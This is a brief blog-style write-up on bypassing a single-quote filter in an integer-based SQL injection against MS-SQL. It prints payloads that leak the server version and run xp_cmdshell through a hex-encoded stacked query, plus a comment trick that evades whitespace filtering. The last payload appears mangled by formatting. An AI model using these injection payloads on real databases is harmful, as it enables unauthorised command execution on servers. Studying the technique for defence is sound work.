SQL Injection, Getting past the magic quote

I recently encountered a SQL Injection, against a MS-SQL database. It happened to be an integer based injection. Developers thought that checking for a single quote (') in the input would be sufficient to protect against SQL Injection attacks. What this meant was I can ask the server to return information like this:-

id= 1 and 1=(select @@version)--

However, because the application checks for single quote in input, I could not run this query successfully:-

id= 1; exec master..xp_cmdshell('ping 127.0.0.1');--

This could, however, be bypassed by using a simple hex encoding trick.

id=1;declare//@a//varchar(999)//set@a=0x65786563**
206d617465722e2e78705f636d647368656c6c282770696e6720
3132372e302e302e312729//exec(@a);--**

In the above example, there is also a small trick to bypass white space protection in the input by using /**/.